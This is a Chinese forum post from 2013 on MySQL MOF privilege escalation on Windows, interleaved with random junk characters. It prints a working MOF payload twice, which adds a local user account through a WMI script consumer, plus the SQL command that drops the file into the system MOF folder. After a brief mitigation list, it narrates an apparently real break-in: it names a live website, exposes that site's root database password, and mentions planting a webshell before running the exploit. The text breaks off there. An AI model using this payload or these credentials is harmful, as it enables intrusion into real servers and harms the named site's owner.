标题: Mysql mof扩展漏洞实例与防范 [打印本页] 作者: admin 时间: 2013-1-4 19:49 标题: Mysql mof扩展漏洞实例与防范 Mysql mof扩展漏洞防范方法' e% n% Q2 i; y4 g2 f! J
0 O/ l O2 `, D$ r a& K8 Q; a网上公开的一些利用代码:( N5 T4 O# ?9 j7 \$ }% y5 y
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#pragma namespace(“\\\\.\\root\\subscription”)9 t9 p2 Z. `' M. t- N9 W: d
' b# i2 [0 N, k% x$ }& I- qinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };/ C v. g& `: C! N9 o0 S2 ]
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0 C) [* m1 E' Y$ Y: I: L连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’; 0 ]2 V! X2 a; [" M- ?从上面代码来看得出解决办法：- c* V# b% q# t' L3 S
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1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数5 b( d' L# R* I/ l: W, ^; t/ B V
1 V4 k! H2 N' A9 c Q: @9 k2、禁止使用”WScript.Shel”组件. b" A* m& }7 ~' x# Q5 N! h) m
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3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER " D9 B1 K1 E! V# k5 l+ G ; Q% }- m, `: w$ u当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下 * {, V& i/ d$ y! R2 V& S F |0 v ' q) R, H$ I, p! b, D: ^# y事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权 " ?, m" l. r {0 z: p+ c* w $ J' Y$ J" D `6 t! @- }但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容# i) V5 C$ s- Q3 F
& p- t$ m7 S0 ^& s; V看懂了后就开始练手吧' m: R2 @" U3 Y
1 o* ]" R7 L. k Chttp://www.webbmw.com/config/config_ucenter.php 一句话 a ! v: X; u M" a# ]: _ # q) G3 A$ H+ v. p u$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。4 D7 f2 Z* i; y3 Z0 X. s, T
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于是直接用菜刀开搞& e5 l3 ~& m- ~/ ~2 k
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上马先 : q0 m' m% b" r S8 b6 L9 V& N- \' {, U8 `
既然有了那些账号 之类的 于是我们就执行吧…….* N# T+ h8 _2 F3 ]' a, O
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小小的说下 ( q& m. j- a& Y/ F1 M! N/ }( D * u. g, M: y1 \+ S. s" h: g在这里第1次执行未成功 原因未知 ! Q5 W5 t9 y3 b9 w, n; r8 Z, y# |' ^4 [
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。6 ]. J( Y" Y& T% L
- r# I7 c; p) _5 B- p#pragma namespace(“\\\\.\\root\\subscription”)0 Y6 B1 k; G s$ |8 p3 r
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instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };9 a" p' I6 F& @
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我是将文件放到C:\WINDOWS\temp\1.mof & M: n$ V# |( }. J) ^. C- j) K, K0 v! e5 F( o; _: o9 v
所以我们就改下执行的代码4 J7 b! B5 |$ ~